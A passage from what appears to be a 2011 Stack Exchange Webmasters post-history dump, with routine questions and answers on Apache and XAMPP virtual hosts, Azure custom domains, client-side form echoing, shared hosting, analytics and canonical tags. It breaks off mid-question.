  <row Id="45229" PostHistoryTypeId="2" PostId="18572" RevisionGUID="53bade5e-b3cd-4537-908e-a6d8f29c168a" CreationDate="2011-08-22T03:16:36.820" UserId="1253" Text="If the pages will not be available to search engines, and your site has no use for them internally, then you can safely omit them." />
  <row Id="45230" PostHistoryTypeId="2" PostId="18573" RevisionGUID="ae765d69-2ea1-4178-9719-0b98e4d21344" CreationDate="2011-08-22T03:20:32.133" UserId="9227" Text="I've installed an Apache2 server on a Linux Box (Ubuntu 10.04 TLS) and am trying to setup some virtual host and proxies.  There is some stuff in the `apache2.conf`, an empty `httpd.conf` (which was used heavily in the Windows setup I had), and then there are the invidividual files for the websites in my `sites-available` directory, call them `a.com` and `b.com`.&#xD;&#xA;&#xD;&#xA;What information needs to be where?  &#xD;&#xA;What is the priority of processing for these?  &#xD;&#xA;Will repeated information cause a problem?&#xD;&#xA;" />
  <row Id="45231" PostHistoryTypeId="1" PostId="18573" RevisionGUID="ae765d69-2ea1-4178-9719-0b98e4d21344" CreationDate="2011-08-22T03:20:32.133" UserId="9227" Text="Purposes and priorities of Apache conf files" />
  <row Id="45232" PostHistoryTypeId="3" PostId="18573" RevisionGUID="ae765d69-2ea1-4178-9719-0b98e4d21344" CreationDate="2011-08-22T03:20:32.133" UserId="9227" Text="&lt;apache&gt;&lt;apache2&gt;&lt;virtualhost&gt;&lt;httpd.conf&gt;" />
  <row Id="45233" PostHistoryTypeId="25" PostId="18535" RevisionGUID="1f843a73-fa2f-440e-82e0-ca69685c29bc" CreationDate="2011-08-22T03:35:05.657" Comment="http://twitter.com/#!/StackWebmasters/status/105483101437837313" />
  <row Id="45234" PostHistoryTypeId="2" PostId="18574" RevisionGUID="5ef11c84-a309-44bd-999c-3584870532b7" CreationDate="2011-08-22T03:55:35.197" UserId="1064" Text="Apache configuration is exhaustively covered in the [Apache documentation][1] and the best way to familiarize with Apache will be to study each portion of the documentation as you encounter a need to use a particular module or set of directives.&#xD;&#xA;&#xD;&#xA;To address your specific questions:&#xD;&#xA;&#xD;&#xA;&gt; What information needs to be where?&#xD;&#xA;&#xD;&#xA;The file system you described would suggest that your configuration is intended for [name-based virtual hosts][2] (likely the most popular configuration) so any directives which apply to your Apache configuration for *all* virtual hosts (i.e. domains, subdomains) should be added to `apache2.conf` and any directives specific to a given virtual host (including its declaration) should be added to the `/sites-available/domain.com.conf` (or similar) file.&#xD;&#xA;&#xD;&#xA;&gt; What is the priority of processing for these?&#xD;&#xA;&#xD;&#xA;Toward the end of a typical `apache2.conf` file, the following directive appears:&#xD;&#xA;&#xD;&#xA;    Include /etc/apache2/sites-enabled&#xD;&#xA;&#xD;&#xA;This directive instructs Apache to include all configuration files in the `sites-enabled` directory. (see [Include documentation][3])&#xD;&#xA;&#xD;&#xA;Files are included in numeric then alphabetical order from 0-9 then A-z.&#xD;&#xA;&#xD;&#xA;&gt; Will repeated information cause a problem?&#xD;&#xA;&#xD;&#xA;Duplicate virtual host definitions will be ignored when Apache is started, however, you will receive a warning when this happens - ideally, you should run `apache2ctl configtest` ([documentation][4]) before attempting to restart Apache so you have the opportunity to correct duplicates or errors which would prevent Apache from starting.&#xD;&#xA;&#xD;&#xA;Note that the config syntax checker will *not* warn you if there are file permission problems or other issues which would prevent Apache from starting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://httpd.apache.org/docs/2.0/&#xD;&#xA;  [2]: http://httpd.apache.org/docs/2.0/vhosts/name-based.html&#xD;&#xA;  [3]: http://httpd.apache.org/docs/2.0/mod/core.html#include&#xD;&#xA;  [4]: http://httpd.apache.org/docs/2.0/configuring.html#syntax" />
  <row Id="45235" PostHistoryTypeId="5" PostId="18569" RevisionGUID="c67bb763-ae13-44eb-97cf-b3abc4888d56" CreationDate="2011-08-22T04:01:21.073" UserId="1253" Comment="minor text edits" Text="I have read about Meat Descriptions here on the webmasters forum. The question I have is is it necessary or important to have description on pages that are not being index by the search engine. Like for instances pages in &quot;Members Area&quot; section of my site or pages blocked by a robots.txt file.&#xD;&#xA;" />
  <row Id="45236" PostHistoryTypeId="17" PostId="18575" RevisionGUID="10594c1b-e885-414b-a309-7468e0ea9b47" CreationDate="2011-08-22T04:19:28.687" UserId="-1" Comment="from http://superuser.com/questions/256350/how-can-i-add-a-custom-domain-to-a-windows-azure-application" Text="" />
  <row Id="45237" PostHistoryTypeId="17" PostId="18576" RevisionGUID="2c2e5f9e-1d21-47ba-9ee2-d441ee656b14" CreationDate="2011-08-22T04:19:28.687" UserId="-1" Comment="from http://superuser.com/questions/256350/how-can-i-add-a-custom-domain-to-a-windows-azure-application" Text="" />
  <row Id="45238" PostHistoryTypeId="2" PostId="18576" RevisionGUID="6b79a622-a2de-459e-9a4a-c16b072d5540" CreationDate="2011-08-21T23:18:09.510" UserId="9820" UserDisplayName="Matt Shepherd" Text="You need to create a cname record on your DNS host and forward it to blueseqservice.cloudapp.net. A cname behaves like an A record but rather than forwarding to an ip, it targets a fqdn." />
  <row Id="45239" PostHistoryTypeId="2" PostId="18575" RevisionGUID="10ca9654-12c7-423f-bf27-49b8613cd102" CreationDate="2011-03-11T17:16:53.653" UserDisplayName="Mathias Lykkegaard Lorenzen" Text="I'm experiencing some issues with a website I am working on, for a company called BlueSEQ. We recently switched to Windows Azure to get more scalability and performance, but we are having issues regarding the domains.&#xD;&#xA;&#xD;&#xA;We would like blueseq.com to be the main domain instead of the current blueseqservice.cloudapp.net. Is that possible? I tried making an &quot;A&quot; record pointing to the &quot;VIP&quot; of the Windows Azure service, but whenever I republish the project to Azure, I get a new IP.&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="45240" PostHistoryTypeId="1" PostId="18575" RevisionGUID="10ca9654-12c7-423f-bf27-49b8613cd102" CreationDate="2011-03-11T17:16:53.653" UserDisplayName="Mathias Lykkegaard Lorenzen" Text="How can I add a custom domain to a Windows Azure application?" />
  <row Id="45241" PostHistoryTypeId="3" PostId="18575" RevisionGUID="10ca9654-12c7-423f-bf27-49b8613cd102" CreationDate="2011-03-11T17:16:53.653" UserDisplayName="Mathias Lykkegaard Lorenzen" Text="&lt;dns&gt;&lt;cloud&gt;&lt;azure&gt;" />
  <row Id="45242" PostHistoryTypeId="2" PostId="18577" RevisionGUID="4d9b3043-93f9-4d72-84db-956236f8abdb" CreationDate="2011-08-22T05:03:53.703" UserId="9726" Text="Is there a way to take an input form and just have the ouput dumped/printed back to the webpage with html/xhtml/javascript/ajax etc without php, perl etc... ie, this should be able to be performed from an html page called from a file even just viewed by a browser (ie no webserver even)" />
  <row Id="45243" PostHistoryTypeId="1" PostId="18577" RevisionGUID="4d9b3043-93f9-4d72-84db-956236f8abdb" CreationDate="2011-08-22T05:03:53.703" UserId="9726" Text="How take input and just dump back to page without backend" />
  <row Id="45244" PostHistoryTypeId="3" PostId="18577" RevisionGUID="4d9b3043-93f9-4d72-84db-956236f8abdb" CreationDate="2011-08-22T05:03:53.703" UserId="9726" Text="&lt;html&gt;&lt;forms&gt;" />
  <row Id="45245" PostHistoryTypeId="25" PostId="18573" RevisionGUID="05eef4ea-80cc-46fe-8c62-05827d7381af" CreationDate="2011-08-22T06:35:05.537" Comment="http://twitter.com/#!/StackWebmasters/status/105528399484813312" />
  <row Id="45246" PostHistoryTypeId="2" PostId="18578" RevisionGUID="158d3a63-49a0-4929-8f53-9f31ecbafb07" CreationDate="2011-08-22T07:34:23.883" UserId="7981" Text="Off the top of my head, you could do something like...&#xD;&#xA;&#xD;&#xA;    &lt;form class=&quot;dump&quot; action=&quot;#&quot; method=&quot;post&quot;&gt;&#xD;&#xA;	&lt;fieldset&gt;&#xD;&#xA;    	&lt;legend&gt;Dump inputs&lt;/legend&gt;&#xD;&#xA;        &lt;label for=&quot;name&quot;&gt;Name&lt;/label&gt;&#xD;&#xA;        &lt;input id=&quot;name&quot; type=&quot;text&quot; size=&quot;25&quot; /&gt;&#xD;&#xA;        &lt;label for=&quot;email&quot;&gt;email&lt;/label&gt;&#xD;&#xA;        &lt;input id=&quot;email&quot; type=&quot;text&quot; size=&quot;25&quot; /&gt;&#xD;&#xA;        &lt;input type=&quot;submit&quot; id=&quot;submit&quot; value=&quot;Send&quot; /&gt;&#xD;&#xA;    &lt;/fieldset&gt;&#xD;&#xA;&lt;/form&gt;&#xD;&#xA;&#xD;&#xA;and then a bit of JavaScript (I'm using jQuery, but I'm sure you can do this with normal JS). This will fire when the form is submitted, creates vars from the values and then output them to the screen (after the bottom of the form)&#xD;&#xA;&#xD;&#xA;    $(document).ready(function() {&#xD;&#xA;	$('form.dump').each(function() {&#xD;&#xA;		$(this).children('fieldset').children('input#submit').click(function() {&#xD;&#xA;			&#xD;&#xA;			//Clear any previous outputs&#xD;&#xA;			$(this).parent('fieldset').parent('form.dump').siblings('.output').remove();&#xD;&#xA;			&#xD;&#xA;			//Create the value vars&#xD;&#xA;			var nameVal = $(this).siblings('input[id=&quot;name&quot;]').val();&#xD;&#xA;			var emailVal = $(this).siblings('input[id=&quot;email&quot;]').val();&#xD;&#xA;			&#xD;&#xA;			//Output after form&#xD;&#xA;			$(this).parent('fieldset').parent('form.dump').after(&#xD;&#xA;				'&lt;p class=&quot;output&quot;&gt;Name is ' + nameVal + '&lt;/p&gt;' +&#xD;&#xA;				'&lt;p class=&quot;output&quot;&gt;email is ' + emailVal + '&lt;/p&gt;'&#xD;&#xA;				);&#xD;&#xA;			return false;//Stops browser trying to actually submit the form&#xD;&#xA;		});&#xD;&#xA;	});&#xD;&#xA;});&#xD;&#xA;&#xD;&#xA;Of course, there are a few things to bear in mind&#xD;&#xA;&#xD;&#xA; - Make sure there's a suitable non-JS fallback&#xD;&#xA; - This does nothing with the data except output it back to the page&#xD;&#xA; - This does no validation/sanitizing etc&#xD;&#xA; - There may well be a leaner/better way, but it's Monday morning and this is the first thing I could do off the top of my head ;o) " />
  <row Id="45247" PostHistoryTypeId="2" PostId="18579" RevisionGUID="11817f80-6f1f-47e0-8783-2612658febf2" CreationDate="2011-08-22T07:43:26.643" UserId="9410" Text="There is an address like this: &#xD;&#xA;&#xD;&#xA;&gt; http://online-forex-calendar.com/sending-sms-alex2edu/Send-an-SMS-http:/www.bnat-ok.com/vbhttp:/www.bnat-ok.com/vbhttp:/www.bnat-ok.com/vbhttp:/www.bnat-ok.com/update-Facebook-with-your-cell-phone.html&#xD;&#xA;&#xD;&#xA;Why there is a repeating of second site address and what is the goal of this?&#xD;&#xA;&#xD;&#xA;Is it Just because someone has copied the address from second site or what?&#xD;&#xA;" />
  <row Id="45248" PostHistoryTypeId="1" PostId="18579" RevisionGUID="11817f80-6f1f-47e0-8783-2612658febf2" CreationDate="2011-08-22T07:43:26.643" UserId="9410" Text="What is the meaning of repeating a site's address?" />
  <row Id="45249" PostHistoryTypeId="3" PostId="18579" RevisionGUID="11817f80-6f1f-47e0-8783-2612658febf2" CreationDate="2011-08-22T07:43:26.643" UserId="9410" Text="&lt;url&gt;&lt;address&gt;" />
  <row Id="45250" PostHistoryTypeId="2" PostId="18580" RevisionGUID="5822c942-ec78-4bdf-8be1-d4f241599977" CreationDate="2011-08-22T08:58:26.213" UserId="7198" Text="###Displaying form results with HTML and CSS only&#xD;&#xA;&#xD;&#xA;It's possible to display form results using only HTML and CSS with clever use of the `:target` selector. An explanation is below the code.&#xD;&#xA;&#xD;&#xA;[**Click for a live demo.**](http://jsfiddle.net/756Hv/) (Type in the box in the 'Result' window and click &quot;Submit&quot;.)&#xD;&#xA;&#xD;&#xA;    &lt;!doctype html&gt;&#xD;&#xA;    &lt;html&gt;&#xD;&#xA;    	&lt;head&gt;&#xD;&#xA;    		&lt;title&gt;CSS form submission&lt;/title&gt;&#xD;&#xA;    		&lt;style type=&quot;text/css&quot;&gt;&#xD;&#xA;    		/* Place an invisible link over the submit button that will&#xD;&#xA;    		   change the page target when the submit button is clicked.&#xD;&#xA;    		   N.B. The submit button is never actually triggered;&#xD;&#xA;    		   it exists only to act as a hit target for the user&#xD;&#xA;    		   and to conform to the user's expectations of what&#xD;&#xA;    		   a form should look like. */		&#xD;&#xA;    		a#submit{ position:absolute; top:0; left:0; height:100%; width:70px; }&#xD;&#xA;    		&#xD;&#xA;    		/* Hide the 'You typed:' text upon initial page load */&#xD;&#xA;    		#page p{ display:none }&#xD;&#xA;    		&#xD;&#xA;    		/* When #page becomes the target (on form submission),&#xD;&#xA;    		   show the 'You typed:' text, hide the submit button,&#xD;&#xA;    		   and redisplay the input box in plain text. */		&#xD;&#xA;    		#page:target p{display:inline}&#xD;&#xA;    		#page:target input[type=&quot;submit&quot;]{display:none}&#xD;&#xA;    		#page:target input{display:inline-block;border:0px}&#xD;&#xA;    		&lt;/style&gt;&#xD;&#xA;    	&lt;/head&gt;&#xD;&#xA;    	&lt;body&gt;&#xD;&#xA;    		&lt;div id=&quot;page&quot;&gt;&#xD;&#xA;    			&lt;form action=&quot;&quot; method=&quot;post&quot;&gt;&#xD;&#xA;    			&lt;p&gt;You typed:&lt;/p&gt;&#xD;&#xA;    			&lt;input type=&quot;text&quot; /&gt;&#xD;&#xA;    			&lt;div style=&quot;position:relative&quot;&gt;&#xD;&#xA;    				&lt;input type=&quot;submit&quot;&gt;&#xD;&#xA;    				&lt;a id=&quot;submit&quot; href=&quot;#page&quot;&gt;&lt;/a&gt;&#xD;&#xA;    			&lt;/div&gt;&#xD;&#xA;    			&lt;/form&gt;&#xD;&#xA;    		&lt;/div&gt;&#xD;&#xA;    	&lt;/body&gt;&#xD;&#xA;    &lt;/html&gt;&#xD;&#xA;&#xD;&#xA;###How it works&#xD;&#xA;You might be able to understand it from the commented CSS code above, but, in case you want a full explanation, read on.&#xD;&#xA;&#xD;&#xA;First, the form's submit button has an invisible link above it that we style with CSS:&#xD;&#xA;&#xD;&#xA;    &lt;div style=&quot;position:relative&quot;&gt;&#xD;&#xA;        &lt;input type=&quot;submit&quot;&gt;&#xD;&#xA;        &lt;a id=&quot;submit&quot; href=&quot;#page&quot; &gt;&lt;/a&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;`a#submit{ position:absolute; top:0; left:0; height:100%; width:70px; }`&#xD;&#xA;&#xD;&#xA;When the user clicks the &quot;Submit&quot; button, they're actually clicking the invisible link above it; the user never hits the Submit button and the form itself is never submitted.&#xD;&#xA;&#xD;&#xA;What happens instead is that, when the link over the submit button is clicked, the url changes from `site.com/form.html` to `site.com/form.html#page`. It's not well known, but you can use the `#page` part of the URL as a CSS selector with the `:target` pseudoclass ([documentation here](http://reference.sitepoint.com/css/pseudoclass-target)). This lets us style the page differently when there is a `#page` element in the browser's address bar.&#xD;&#xA;&#xD;&#xA;And so, when the link is clicked and the user is redirected to #page, we show the 'You typed:' text, hide the submit button, and change the input box styling to show them what they typed. All of this is done using the `:target` selector.&#xD;&#xA;&#xD;&#xA;The CSS rule that looks like `#page:target p{display:inline}` says &quot;when the #page is the target, display the paragraph text in a line.&quot; This allows the input box to be on the same line as the paragraph, instead of beneath it.&#xD;&#xA;&#xD;&#xA;Next, the line that looks like `#page:target input[type=&quot;submit&quot;]{display:none}` hides the submit button when the page is the target.&#xD;&#xA;&#xD;&#xA;Finally, the line that looks like `#page:target input{display:inline-block;border:0px}` displays the input box next to the paragraph text, and gets rid of the border. We're actually showing the user the exact same input box they've just typed in! We're just styling it differently.&#xD;&#xA;&#xD;&#xA;This could be extended with multiple inputs if required, but I've used one to keep it simple.&#xD;&#xA;&#xD;&#xA;Note that browser support for the CSS `:target` selector is pretty good, but that IE8 and a few other browsers will struggle with it. ([Full list here.](http://reference.sitepoint.com/css/pseudoclass-target#compatibilitysection))&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45251" PostHistoryTypeId="25" PostId="18577" RevisionGUID="8fda272d-2327-42b9-a4d5-c76466e8df1d" CreationDate="2011-08-22T09:35:06.703" Comment="http://twitter.com/#!/StackWebmasters/status/105573701973590016" />
  <row Id="45252" PostHistoryTypeId="2" PostId="18581" RevisionGUID="003906fa-9d94-43be-9935-fdc8f7ae5381" CreationDate="2011-08-22T09:42:18.657" UserId="5304" Text="I'm launching a forum for foreigners in Taiwan. Right now, I don't have much money so I purchased a shared web hosting server at Dreamhost (The Happy Hosting Plan, which is around 9 US dollars a month). Is it a bad idea? I can just migrate the site to a new dedicated server when I get more users, but I'm not sure if this waht most forum web masters do.&#xD;&#xA;&#xD;&#xA;What's your opinion about it?" />
  <row Id="45253" PostHistoryTypeId="1" PostId="18581" RevisionGUID="003906fa-9d94-43be-9935-fdc8f7ae5381" CreationDate="2011-08-22T09:42:18.657" UserId="5304" Text="Is it a bad idea to start a forum in a shared web hosting server?" />
  <row Id="45254" PostHistoryTypeId="3" PostId="18581" RevisionGUID="003906fa-9d94-43be-9935-fdc8f7ae5381" CreationDate="2011-08-22T09:42:18.657" UserId="5304" Text="&lt;server&gt;&lt;forum&gt;" />
  <row Id="45255" PostHistoryTypeId="2" PostId="18582" RevisionGUID="9afa0e7c-fd45-401c-9a46-60cb7560aa03" CreationDate="2011-08-22T09:43:07.020" UserId="693" Text="I dont't really know why they do it, but I do know when it is done sometimes. The forms are a bit different tho.&#xD;&#xA;&#xD;&#xA;It could be handy for example on a login page. If you want to redirect someone to the page where they were before they had to login after they have logged in. This way the user doesn't get lost, but usually this is done with a post variable, I see none in the link.&#xD;&#xA;&#xD;&#xA;Another example is when you want to know who referred to you. This is most of the times done with advertisement. You want to know on what side someone has clicked your link.&#xD;&#xA;&#xD;&#xA;But I have never seen the form of the link you have given. I have no idea why they did that. But having another link inside a link is done frequently, but they use POST variables." />
  <row Id="45256" PostHistoryTypeId="2" PostId="18583" RevisionGUID="3cdfa979-3e3d-40e2-af7c-9d3ce162140c" CreationDate="2011-08-22T09:52:32.907" UserId="693" Text="I think it is a good idea, although I do not know what your initial visitors could is going to be. But I can tell you that the shared hosting do offer a lot of traffic.&#xD;&#xA;&#xD;&#xA;It is also worth checking out websites like [cloudflare][1] they are a sort of CDN, they cache your static files and help to speed up your website.&#xD;&#xA;&#xD;&#xA;And of course when your website get's bigger, you can upgrade your package. If you choose a good CMS the migration won't be any problem.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.cloudflare.com/" />
  <row Id="45257" PostHistoryTypeId="2" PostId="18584" RevisionGUID="d8813fd5-4c7e-417a-a6b9-4ce4d60d5070" CreationDate="2011-08-22T10:14:17.483" UserId="221" Text="You can have Google Analytics track multiple sites (or 'website profiles' as they call it) on a single account.&#xD;&#xA;&#xD;&#xA;Then the entry page of your GA account will list all your sites and a quick summary of the last day/week/month/year-s activity. You can also sort your sites by number of visitors, time on site etc." />
  <row Id="45258" PostHistoryTypeId="2" PostId="18585" RevisionGUID="0fbe490c-eb18-4c2e-ad81-4364417ebd01" CreationDate="2011-08-22T10:17:51.357" UserId="8009" Text="Starting out on budget shared hosting (provided it performs adequately and allows permissions for all the back-end functionality you require) is the sensible option. There is no point launching a brand new forum on a dedicated server.&#xD;&#xA;&#xD;&#xA;You can get a shared hosting plan from anything from free to $10 that is perfectly suitable for your needs - the one your on sounds just fine.&#xD;&#xA;&#xD;&#xA;Migrating a forum/community is simple enough though is obviously specific to the software you're using.&#xD;&#xA;&#xD;&#xA;You might find that the next stage may be to a VPS or cloud environment rather than making the leap to a (probably quite expensive) managed dedicated solution." />
  <row Id="45259" PostHistoryTypeId="2" PostId="18586" RevisionGUID="f3645c45-dcd5-497c-b250-16781abac4ec" CreationDate="2011-08-22T10:19:17.073" UserId="8009" Text="Some websites use urls within a url to track incoming or outgoing actions - for example with the php GET functionality." />
  <row Id="45260" PostHistoryTypeId="2" PostId="18587" RevisionGUID="2ce1a9c1-6880-4b0a-8519-1e5f7a9754c5" CreationDate="2011-08-22T10:49:50.263" UserId="9123" Text="Another good service would be reinvigorate (reinvigorate.net). They used to have a free plan available, but since they were bought by Webtrends a couple of days ago the free plan disappeared. Their tracking is awesome though and it's not as expensive as other paid services." />
  <row Id="45261" PostHistoryTypeId="2" PostId="18588" RevisionGUID="33242b5e-3314-4cca-8913-5bdb96e2ad6f" CreationDate="2011-08-22T11:07:10.160" UserId="8009" Text="Are there any/what is the closest free Magento Community extension that features the 'menus and page hierarchy' functionality of the enterprise edition?" />
  <row Id="45262" PostHistoryTypeId="1" PostId="18588" RevisionGUID="33242b5e-3314-4cca-8913-5bdb96e2ad6f" CreationDate="2011-08-22T11:07:10.160" UserId="8009" Text="The closest free Magento extension to replicating the enterprise enhanced CMS functionality?" />
  <row Id="45263" PostHistoryTypeId="3" PostId="18588" RevisionGUID="33242b5e-3314-4cca-8913-5bdb96e2ad6f" CreationDate="2011-08-22T11:07:10.160" UserId="8009" Text="&lt;magento&gt;&lt;free&gt;" />
  <row Id="45264" PostHistoryTypeId="5" PostId="18581" RevisionGUID="53787dfb-e942-47dd-9adf-49a58f7c8e57" CreationDate="2011-08-22T12:09:37.523" UserId="1253" Comment="minor text edits" Text="I'm launching a forum for foreigners in Taiwan. Right now, I don't have much money so I purchased a shared web hosting server at Dreamhost (The Happy Hosting Plan, which is around 9 US dollars a month). Is it a bad idea? I can just migrate the site to a new dedicated server when I get more users, but I'm not sure if this waht most forum web masters do.&#xD;&#xA;" />
  <row Id="45265" PostHistoryTypeId="17" PostId="18589" RevisionGUID="d04db2d7-a665-4af1-a6b1-b80dd2849512" CreationDate="2011-08-22T12:30:44.467" UserId="-1" Comment="from http://stackoverflow.com/questions/7147024/canonical-tags-and-duplicate-content-issue" Text="" />
  <row Id="45266" PostHistoryTypeId="2" PostId="18589" RevisionGUID="2e04b0b1-2978-42bd-a2e7-388db1d7f9cf" CreationDate="2011-08-22T11:49:14.137" UserDisplayName="userdd123" Text=" In my site i added a canonical tag which is not working. As per my knowledge this is what the syntax  that i have followed &#xD;&#xA;&#xD;&#xA;      &lt;link rel=&quot;canonical&quot; &#xD;&#xA;            href=&quot;http://mywebsite.com&quot; /&gt;.&#xD;&#xA;&#xD;&#xA;Is there any error in the syntax ?&#xD;&#xA;" />
  <row Id="45267" PostHistoryTypeId="1" PostId="18589" RevisionGUID="2e04b0b1-2978-42bd-a2e7-388db1d7f9cf" CreationDate="2011-08-22T11:49:14.137" UserDisplayName="userdd123" Text="Canonical tags and duplicate content issue" />
  <row Id="45268" PostHistoryTypeId="3" PostId="18589" RevisionGUID="2e04b0b1-2978-42bd-a2e7-388db1d7f9cf" CreationDate="2011-08-22T11:49:14.137" UserDisplayName="userdd123" Text="&lt;seo&gt;&lt;seo-friendly&gt;" />
  <row Id="45269" PostHistoryTypeId="2" PostId="18590" RevisionGUID="42e2f352-2206-4e17-8a50-e9a45a55ee59" CreationDate="2011-08-22T12:31:44.213" UserId="233" Text="It depends on several factors including how many pages total you have, and how long the site has been around. The key metric to look at is whether Google is finding and indexing your best content - i.e. your most popular/upvoted questions and answers.&#xD;&#xA;&#xD;&#xA;If you got 66k pages indexed in a couple of months then that is very good. If you have 1 million pages and the site has been around over a year then that's maybe not so good. Make sure your navigation is clear and simple, and that you have an XML sitemap listing all your pages.&#xD;&#xA;&#xD;&#xA;Also note that if you opened your site with thousands or millions of pages it's possible Google is keeping your site in some kind of &quot;sandbox&quot; to ensure it's not a spam site or content farm." />
  <row Id="45270" PostHistoryTypeId="25" PostId="18569" RevisionGUID="f76c7e5b-afa1-466e-af26-5fd23150fb2a" CreationDate="2011-08-22T12:35:06.940" Comment="http://twitter.com/#!/StackWebmasters/status/105619002205806593" />
  <row Id="45271" PostHistoryTypeId="2" PostId="18591" RevisionGUID="fb09ebc0-30ab-4c64-b1af-0d296779150f" CreationDate="2011-08-22T12:36:23.460" UserId="8009" Text="Create a website with appropriate landing pages, designed to market your application. Then the internet really is your oyster.&#xD;&#xA;&#xD;&#xA;Collate emails however you can, if you'd have had a large email list of recipients who might have found your application useful that would have been a nice kick start. Concentrate on SEO for the site featuring your web app. Create discussions about it in relevant forums... The list really is endless." />
  <row Id="45272" PostHistoryTypeId="17" PostId="18592" RevisionGUID="3d0026cf-205d-4aa9-96bd-54e5e2f04d3b" CreationDate="2011-08-22T12:41:34.870" UserId="-1" Comment="from http://serverfault.com/questions/303762/virtual-host-not-working-in-windows7-xampp" Text="" />
  <row Id="45273" PostHistoryTypeId="2" PostId="18592" RevisionGUID="e8e47c6a-b6e3-45f5-b6f2-0ac053489b3f" CreationDate="2011-08-22T11:05:36.910" UserDisplayName="K.B Panamaldeniya-littletipz" Text="hi i am using windows7 and xampp , i want to create a virtual host . so i added &#xD;&#xA;&#xD;&#xA;    127.0.0.1   	myawesomeproject  to my &#xD;&#xA;&#xD;&#xA;    C:\Windows\System32\drivers\etc\hosts&#xD;&#xA;&#xD;&#xA;like this&#xD;&#xA;&#xD;&#xA;        # Copyright (c) 1993-2009 Microsoft Corp.&#xD;&#xA;        #&#xD;&#xA;        # This is a sample HOSTS file used by Microsoft TCP/IP for Windows.&#xD;&#xA;        #&#xD;&#xA;        # This file contains the mappings of IP addresses to host names. Each&#xD;&#xA;        # entry should be kept on an individual line. The IP address should&#xD;&#xA;        # be placed in the first column followed by the corresponding host name.&#xD;&#xA;        # The IP address and the host name should be separated by at least one&#xD;&#xA;        # space.&#xD;&#xA;        #&#xD;&#xA;        # Additionally, comments (such as these) may be inserted on individual&#xD;&#xA;        # lines or following the machine name denoted by a '#' symbol.&#xD;&#xA;        #&#xD;&#xA;        # For example:&#xD;&#xA;        #&#xD;&#xA;        #      102.54.94.97     rhino.acme.com          # source server&#xD;&#xA;        #       38.25.63.10     x.acme.com              # x client host&#xD;&#xA;        &#xD;&#xA;        # localhost name resolution is handled within DNS itself.&#xD;&#xA;        	127.0.0.1       localhost&#xD;&#xA;        	127.0.0.1   	myawesomeproject&#xD;&#xA;        	::1             localhost&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    and i added some lines to &#xD;&#xA;    &#xD;&#xA;        C:\xampp\apache\conf\extra\httpd-vhosts.conf&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    like this&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    #&#xD;&#xA;    # Virtual Hosts&#xD;&#xA;    #&#xD;&#xA;    # If you want to maintain multiple domains/hostnames on your&#xD;&#xA;    # machine you can setup VirtualHost containers for them. Most configurations&#xD;&#xA;    # use only name-based virtual hosts so the server doesn't need to worry about&#xD;&#xA;    # IP addresses. This is indicated by the asterisks in the directives below.&#xD;&#xA;    #&#xD;&#xA;    # Please see the documentation at &#xD;&#xA;    # &lt;URL:http://httpd.apache.org/docs/2.2/vhosts/&gt;&#xD;&#xA;    # for further details before you try to setup virtual hosts.&#xD;&#xA;    #&#xD;&#xA;    # You may use the command line option '-S' to verify your virtual host&#xD;&#xA;    # configuration.&#xD;&#xA;    &#xD;&#xA;    #&#xD;&#xA;    # Use name-based virtual hosting.&#xD;&#xA;    #&#xD;&#xA;    NameVirtualHost *:80&#xD;&#xA;    &#xD;&#xA;    #&#xD;&#xA;    # VirtualHost example:&#xD;&#xA;    # Almost any Apache directive may go into a VirtualHost container.&#xD;&#xA;    # The first VirtualHost section is used for all requests that do not&#xD;&#xA;    # match a ServerName or ServerAlias in any &lt;VirtualHost&gt; block.&#xD;&#xA;    #&#xD;&#xA;    ##&lt;VirtualHost *:80&gt;&#xD;&#xA;        ##ServerAdmin postmaster@dummy-host.localhost&#xD;&#xA;        ##DocumentRoot &quot;C:/xampp/htdocs/dummy-host.localhost&quot;&#xD;&#xA;        ##ServerName dummy-host.localhost&#xD;&#xA;        ##ServerAlias www.dummy-host.localhost&#xD;&#xA;        ##ErrorLog &quot;logs/dummy-host.localhost-error.log&quot;&#xD;&#xA;        ##CustomLog &quot;logs/dummy-host.localhost-access.log&quot; combined&#xD;&#xA;    ##&lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    ##&lt;VirtualHost *:80&gt;&#xD;&#xA;        ##ServerAdmin postmaster@dummy-host2.localhost&#xD;&#xA;        ##DocumentRoot &quot;C:/xampp/htdocs/dummy-host2.localhost&quot;&#xD;&#xA;        ##ServerName dummy-host2.localhost&#xD;&#xA;        ##ServerAlias www.dummy-host2.localhost&#xD;&#xA;        ##ErrorLog &quot;logs/dummy-host2.localhost-error.log&quot;&#xD;&#xA;        ##CustomLog &quot;logs/dummy-host2.localhost-access.log&quot; combined&#xD;&#xA;    ##&lt;/VirtualHost&gt;&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *&gt;&#xD;&#xA;      DocumentRoot &quot;C:\xampp\htdocs&quot;&#xD;&#xA;        ServerName localhost&#xD;&#xA;       &lt;/VirtualHost&gt;&#xD;&#xA;    &lt;VirtualHost *&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;VirtualHost *:80&gt;&#xD;&#xA;        ServerAdmin awesome@myawesomeproject.com&#xD;&#xA;        DocumentRoot c:\myawesomeproject&#xD;&#xA;        ServerName localhost&#xD;&#xA;    &#xD;&#xA;    &lt;Directory &quot;c:\myawesomeproject&quot;&gt;&#xD;&#xA;        Order allow,deny&#xD;&#xA;       Allow from all&#xD;&#xA;    &lt;/Directory&gt;&#xD;&#xA;    &#xD;&#xA;    &lt;/VirtualHost&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;i created a folder called `myawesomeproject` in my c drive . when i type &#xD;&#xA;&#xD;&#xA;    http://myawesomeproject it is rederecting to &#xD;&#xA;&#xD;&#xA;    http://myawesomeproject/xampp&#xD;&#xA; &#xD;&#xA;i added another folder `'test'` inside `myawesomeproject` . so the path to `'test'`  is `C:/myawesomeproject/test`  . &#xD;&#xA;&#xD;&#xA;the problem is when i type  `http://myawesomeproject/test` it gives an error. it says 